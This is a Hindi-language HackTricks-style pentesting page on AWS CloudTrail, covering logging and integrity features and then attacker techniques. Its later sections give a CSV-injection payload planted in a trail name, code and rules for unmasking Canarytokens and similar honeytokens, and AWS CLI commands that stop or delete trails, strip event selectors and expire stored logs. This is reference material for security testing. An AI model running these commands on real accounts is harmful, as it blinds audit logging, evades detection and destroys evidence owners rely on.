AWS - CloudTrail Enum

HackTricks को समर्थन दें

CloudTrail

AWS CloudTrail आपके AWS वातावरण के भीतर गतिविधि को रिकॉर्ड और मॉनिटर करता है। यह विस्तृत इवेंट लॉग्स कैप्चर करता है, जिसमें कौन, कब, और कहाँ से AWS संसाधनों के साथ सभी इंटरैक्शन किए गए थे। यह परिवर्तनों और क्रियाओं का एक ऑडिट ट्रेल प्रदान करता है, जो सुरक्षा विश्लेषण, अनुपालन ऑडिटिंग, और संसाधन परिवर्तन ट्रैकिंग में सहायता करता है। CloudTrail उपयोगकर्ता और संसाधन व्यवहार को समझने, सुरक्षा स्थिति को बढ़ाने, और नियामक अनुपालन सुनिश्चित करने के लिए आवश्यक है।

प्रत्येक लॉग किए गए इवेंट में शामिल होते हैं:

  • कॉल किए गए API का नाम: eventName

  • कॉल की गई सेवा: eventSource

  • समय: eventTime

  • IP पता: SourceIPAddress

  • एजेंट विधि: userAgent. उदाहरण:

  • Signing.amazonaws.com - AWS Management Console से

  • console.amazonaws.com - खाते का रूट उपयोगकर्ता

  • lambda.amazonaws.com - AWS Lambda

  • अनुरोध पैरामीटर: requestParameters

  • प्रतिक्रिया तत्व: responseElements

इवेंट्स को लगभग हर 5 मिनट में एक नए लॉग फ़ाइल में JSON फ़ाइल में लिखा जाता है, इन्हें CloudTrail द्वारा रखा जाता है और अंततः, लॉग फ़ाइलें लगभग 15 मिनट बाद S3 में वितरित की जाती हैं। CloudTrails लॉग्स को अकाउंट्स और क्षेत्रों में एकत्रित किया जा सकता है। CloudTrail लॉग फ़ाइल की अखंडता का उपयोग करने की अनुमति देता है ताकि यह सुनिश्चित किया जा सके कि आपकी लॉग फ़ाइलें CloudTrail द्वारा आपको वितरित किए जाने के बाद अपरिवर्तित रही हैं। यह लॉग्स के अंदर एक SHA-256 हैश बनाता है। नए लॉग्स का एक sha-256 हैश हर घंटे बनाया जाता है। जब एक Trail बनाया जाता है, तो इवेंट चयनकर्ता आपको ट्रेल को लॉग करने के लिए इंगित करने की अनुमति देंगे: प्रबंधन, डेटा या अंतर्दृष्टि इवेंट्स।

लॉग्स को एक S3 बकेट में सहेजा जाता है। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन (SSE-S3) का उपयोग किया जाता है ताकि AWS उन लोगों के लिए सामग्री को डिक्रिप्ट कर सके जिनके पास इसे एक्सेस करने की अनुमति है, लेकिन अतिरिक्त सुरक्षा के लिए आप SSE को KMS और अपनी खुद की कुंजियों के साथ उपयोग कर सकते हैं।

लॉग्स को एक S3 बकेट में इस नाम प्रारूप के साथ संग्रहीत किया जाता है:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • बकेट का नाम: aws-cloudtrail-logs-<accountid>-<random>

  • उदाहरण: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

प्रत्येक फ़ोल्डर के अंदर प्रत्येक लॉग का नाम इस प्रारूप का पालन करेगा: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

लॉग फ़ाइल नामकरण सम्मेलन

इसके अलावा, डाइजेस्ट फ़ाइलें (फ़ाइल अखंडता की जांच करने के लिए) उसी बकेट में होंगी:

कई अकाउंट्स से लॉग्स को एकत्रित करना

  • उस AWS अकाउंट में एक ट्रायल बनाएं जहां आप लॉग फ़ाइलों को वितरित करना चाहते हैं

  • गंतव्य S3 बकेट पर अनुमतियाँ लागू करें जो CloudTrail के लिए क्रॉस-अकाउंट एक्सेस की अनुमति देती हैं और प्रत्येक AWS अकाउंट को अनुमति देती हैं जिसे एक्सेस की आवश्यकता है

  • अन्य AWS अकाउंट्स में एक नया ट्रेल बनाएं और चरण 1 में बनाए गए बकेट का उपयोग करने का चयन करें

हालांकि, भले ही आप सभी लॉग्स को एक ही S3 बकेट में सहेज सकते हैं, आप एकल AWS अकाउंट से संबंधित CloudWatch लॉग्स में कई अकाउंट्स से CloudTrail लॉग्स को एकत्रित नहीं कर सकते।

याद रखें कि एक अकाउंट में विभिन्न Trails हो सकते हैं जो CloudTrail से सक्षम हैं और विभिन्न बकेट्स में समान (या अलग) लॉग्स संग्रहीत कर सकते हैं।

सभी संगठन अकाउंट्स से 1 में Cloudtrail

जब एक CloudTrail बनाया जाता है, तो यह संकेत देना संभव है कि सभी संगठन अकाउंट्स के लिए CloudTrail को सक्रिय करें और लॉग्स को केवल 1 बकेट में प्राप्त करें:

इस तरह आप सभी अकाउंट्स के सभी क्षेत्रों में आसानी से CloudTrail को कॉन्फ़िगर कर सकते हैं और लॉग्स को 1 अकाउंट में केंद्रीकृत कर सकते हैं (जिसे आपको सुरक्षित रखना चाहिए)।

लॉग फ़ाइलों की जाँच

आप यह जांच सकते हैं कि लॉग्स को बदला नहीं गया है, इसे चलाकर

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail स्वचालित रूप से लॉग्स को CloudWatch पर भेज सकता है ताकि आप अलर्ट सेट कर सकें जो आपको चेतावनी देते हैं जब संदिग्ध गतिविधियाँ की जाती हैं। ध्यान दें कि CloudTrail को लॉग्स को CloudWatch पर भेजने की अनुमति देने के लिए एक role बनानी होगी जो उस क्रिया की अनुमति देती है। यदि संभव हो, तो इन क्रियाओं को करने के लिए AWS डिफ़ॉल्ट role का उपयोग करने की सिफारिश की जाती है। यह role CloudTrail को अनुमति देगा:

  • CreateLogStream: यह CloudWatch Logs लॉग स्ट्रीम्स बनाने की अनुमति देता है

  • PutLogEvents: CloudTrail लॉग्स को CloudWatch Logs लॉग स्ट्रीम में भेजने की अनुमति देता है

Event History

CloudTrail Event History आपको एक तालिका में रिकॉर्ड किए गए लॉग्स का निरीक्षण करने की अनुमति देता है:

Insights

CloudTrail Insights स्वचालित रूप से CloudTrail ट्रेल्स से लिखने वाले प्रबंधन घटनाओं का विश्लेषण करता है और आपको असामान्य गतिविधि के बारे में चेतावनी देता है। उदाहरण के लिए, यदि TerminateInstance घटनाओं में वृद्धि होती है जो स्थापित बेसलाइनों से भिन्न होती है, तो आप इसे एक Insight घटना के रूप में देखेंगे। ये घटनाएँ असामान्य API गतिविधि को ढूंढना और प्रतिक्रिया देना पहले से कहीं अधिक आसान बनाती हैं

Insights उसी बकेट में संग्रहीत होते हैं जैसे CloudTrail लॉग्स: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

CloudTrail Log File Integrity

  • जाँचें कि लॉग्स के साथ छेड़छाड़ (संशोधित या हटाया गया) किया गया है या नहीं

  • डाइजेस्ट फाइल्स का उपयोग करता है (प्रत्येक फाइल के लिए हैश बनाता है)

    • SHA-256 हैशिंग

    • SHA-256 के साथ RSA डिजिटल साइनिंग के लिए

    • निजी कुंजी Amazon द्वारा स्वामित्व

  • डाइजेस्ट फाइल बनाने में 1 घंटा लगता है (हर घंटे पर किया जाता है)

Stop unauthorized access

  • IAM नीतियों और S3 बकेट नीतियों का उपयोग करें

    • सुरक्षा टीम —> व्यवस्थापक पहुंच

    • ऑडिटर्स —> केवल पढ़ने की पहुंच

  • लॉग्स को एन्क्रिप्ट करने के लिए SSE-S3/SSE-KMS का उपयोग करें

Prevent log files from being deleted

  • IAM और बकेट नीतियों के साथ हटाने की पहुंच को प्रतिबंधित करें

  • S3 MFA delete कॉन्फ़िगर करें

  • लॉग फाइल वैलिडेशन के साथ सत्यापित करें

Access Advisor

AWS Access Advisor पिछले 400 दिनों के AWS CloudTrail लॉग्स पर निर्भर करता है। CloudTrail AWS खाते में किए गए AWS API कॉल्स और संबंधित घटनाओं का इतिहास कैप्चर करता है। Access Advisor इस डेटा का उपयोग दिखाने के लिए करता है कि सेवाओं को आखिरी बार कब एक्सेस किया गया था। CloudTrail लॉग्स का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या role ने किन AWS सेवाओं का एक्सेस किया और वह एक्सेस कब हुआ। इससे AWS प्रशासकों को अनुमतियों को परिष्कृत करने के बारे में सूचित निर्णय लेने में मदद मिलती है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय से एक्सेस नहीं किया गया है और वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को संभावित रूप से कम कर सकते हैं।

इसलिए, Access Advisor उपयोगकर्ताओं को दी जा रही अनावश्यक अनुमतियों के बारे में सूचित करता है ताकि व्यवस्थापक उन्हें हटा सकें

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

CloudTrail के अंदर एक CVS injection करना संभव है जो मनमाना कोड निष्पादित करेगा यदि लॉग्स को CSV में निर्यात किया जाता है और Excel के साथ खोला जाता है। निम्नलिखित कोड एक खराब Trail नाम के साथ लॉग प्रविष्टि उत्पन्न करेगा जिसमें payload शामिल है:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

CSV इंजेक्शन के बारे में अधिक जानकारी के लिए पेज देखें:

इस विशेष तकनीक के बारे में अधिक जानकारी के लिए देखें https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

डिटेक्शन बायपास करें

HoneyTokens बायपास

Honeyokens को संवेदनशील जानकारी के एक्सफिल्ट्रेशन का पता लगाने के लिए बनाया गया है। AWS के मामले में, ये AWS कुंजियाँ हैं जिनके उपयोग की निगरानी की जाती है, यदि कोई उस कुंजी के साथ कोई कार्रवाई करता है, तो किसी ने उस कुंजी को चुरा लिया होगा।

हालांकि, Canarytokens, SpaceCrab, SpaceSiren द्वारा बनाए गए Honeytokens या तो पहचानने योग्य खाता नाम का उपयोग कर रहे हैं या अपने सभी ग्राहकों के लिए एक ही AWS खाता ID का उपयोग कर रहे हैं। इसलिए, यदि आप खाता नाम और/या खाता ID को प्राप्त कर सकते हैं बिना Cloudtrail को कोई लॉग बनाने के लिए, तो आप जान सकते हैं कि कुंजी एक honeytoken है या नहीं

Pacu के पास कुछ नियम हैं यह पता लगाने के लिए कि कुंजी Canarytokens, SpaceCrab, SpaceSiren** से संबंधित है या नहीं:**

  • यदि canarytokens.org भूमिका नाम में दिखाई देता है या खाता ID 534261010715 त्रुटि संदेश में दिखाई देती है।

  • हाल ही में परीक्षण करते समय, वे खाता 717712589309 का उपयोग कर रहे हैं और अभी भी नाम में canarytokens.com स्ट्रिंग है।

  • यदि SpaceCrab त्रुटि संदेश में भूमिका नाम में दिखाई देता है

  • SpaceSiren उपयोगकर्ता नाम उत्पन्न करने के लिए uuids का उपयोग करता है: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • यदि नाम यादृच्छिक रूप से उत्पन्न जैसा दिखता है, तो उच्च संभावनाएँ हैं कि यह एक HoneyToken है।

कुंजी ID से खाता ID प्राप्त करें

आप एक्सेस कुंजी के अंदर एन्कोडेड से खाता ID प्राप्त कर सकते हैं जैसा कि यहां समझाया गया है और अपने Honeytokens AWS खातों की सूची के साथ खाता ID की जांच करें:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Check more information in the orginal research.

लॉग उत्पन्न न करें

इसका सबसे प्रभावी तरीका वास्तव में एक सरल है। बस उस कुंजी का उपयोग करें जो आपने अभी-अभी किसी सेवा तक पहुंचने के लिए अपने हमलावर खाते के अंदर पाई है। यह CloudTrail को आपके अपने AWS खाते के अंदर लॉग उत्पन्न करेगा और पीड़ित के अंदर नहीं

बात यह है कि आउटपुट आपको एक त्रुटि दिखाएगा जिसमें खाता आईडी और खाता नाम का संकेत मिलेगा ताकि आप देख सकें कि यह एक हनीटोकन है या नहीं

लॉग के बिना AWS सेवाएं

अतीत में कुछ AWS सेवाएं थीं जो CloudTrail को लॉग नहीं भेजती थीं (एक सूची यहां पाएं)। उन सेवाओं में से कुछ त्रुटि के साथ प्रतिक्रिया देंगी जिसमें कुंजी भूमिका का ARN शामिल होगा यदि कोई अनधिकृत व्यक्ति (हनीटोकन कुंजी) इसे एक्सेस करने का प्रयास करता है।

इस तरह, एक हमलावर बिना किसी लॉग को ट्रिगर किए कुंजी का ARN प्राप्त कर सकता है। ARN में हमलावर AWS खाता आईडी और नाम देख सकता है, हनीटोकन की कंपनियों के खाते की आईडी और नाम जानना आसान है, इसलिए इस तरह हमलावर पहचान सकता है कि टोकन हनीटोकन है या नहीं।

ध्यान दें कि सभी सार्वजनिक एपीआई जो CloudTrail लॉग नहीं बना रहे थे, अब ठीक कर दिए गए हैं, इसलिए हो सकता है कि आपको अपना खुद का खोजना पड़े...

अधिक जानकारी के लिए मूल शोध देखें।

तृतीयक इन्फ्रास्ट्रक्चर तक पहुंचना

कुछ AWS सेवाएं कुछ इन्फ्रास्ट्रक्चर उत्पन्न करेंगी जैसे डेटाबेस या कुबेरनेट्स क्लस्टर (EKS)। एक उपयोगकर्ता जो उन सेवाओं से सीधे बात कर रहा है (जैसे कुबेरनेट्स एपीआई) AWS एपीआई का उपयोग नहीं करेगा, इसलिए CloudTrail इस संचार को नहीं देख पाएगा।

इसलिए, EKS तक पहुंच रखने वाला उपयोगकर्ता जिसने EKS API का URL खोज लिया है, वह स्थानीय रूप से एक टोकन उत्पन्न कर सकता है और CloudTrail द्वारा पता लगाए बिना सीधे एपीआई सेवा से बात कर सकता है

अधिक जानकारी में:

AWS - EKS Post Exploitation

CloudTrail कॉन्फ़िगरेशन को संशोधित करना

ट्रेल्स हटाएं

aws cloudtrail delete-trail --name [trail-name]

Stop trails

CloudTrail को रोकने के लिए, निम्नलिखित कमांड का उपयोग करें:

aws cloudtrail stop-logging --name <trail-name>

यह कमांड CloudTrail लॉगिंग को रोक देगा।

aws cloudtrail stop-logging --name [trail-name]

मल्टी-रीजन लॉगिंग को अक्षम करें

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

इवेंट सेलेक्टर्स द्वारा लॉगिंग को अक्षम करें

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

पहले उदाहरण में, एकल इवेंट सेलेक्टर को एक JSON array के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। "ReadWriteType": "ReadOnly" इंगित करता है कि इवेंट सेलेक्टर को केवल read-only इवेंट्स को ही कैप्चर करना चाहिए (इसलिए CloudTrail insights write इवेंट्स की जांच नहीं करेगा उदाहरण के लिए)।

आप अपनी विशिष्ट आवश्यकताओं के आधार पर इवेंट सेलेक्टर को कस्टमाइज़ कर सकते हैं।

S3 lifecycle policy के माध्यम से लॉग्स डिलीशन

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

बकेट कॉन्फ़िगरेशन को संशोधित करना

  • S3 बकेट को हटाएं

  • बकेट नीति को बदलें ताकि CloudTrail सेवा से कोई भी लेखन अस्वीकार हो जाए

  • S3 बकेट में ऑब्जेक्ट्स को हटाने के लिए जीवनचक्र नीति जोड़ें

  • CloudTrail लॉग्स को एन्क्रिप्ट करने के लिए उपयोग की गई kms कुंजी को अक्षम करें

Cloudtrail रैंसमवेयर

S3 रैंसमवेयर

आप एक असममित कुंजी उत्पन्न कर सकते हैं और CloudTrail को उस कुंजी के साथ डेटा एन्क्रिप्ट करने के लिए बना सकते हैं और निजी कुंजी को हटा सकते हैं ताकि CloudTrail सामग्री को पुनर्प्राप्त नहीं किया जा सके। यह मूल रूप से एक S3-KMS रैंसमवेयर है जिसे इस प्रकार समझाया गया है:

AWS - S3 Post Exploitation

KMS रैंसमवेयर

यह पिछले हमले को अलग-अलग अनुमतियों की आवश्यकताओं के साथ करने का सबसे आसान तरीका है:

AWS - KMS Post Exploitation

संदर्भ

HackTricks का समर्थन करें

Last updated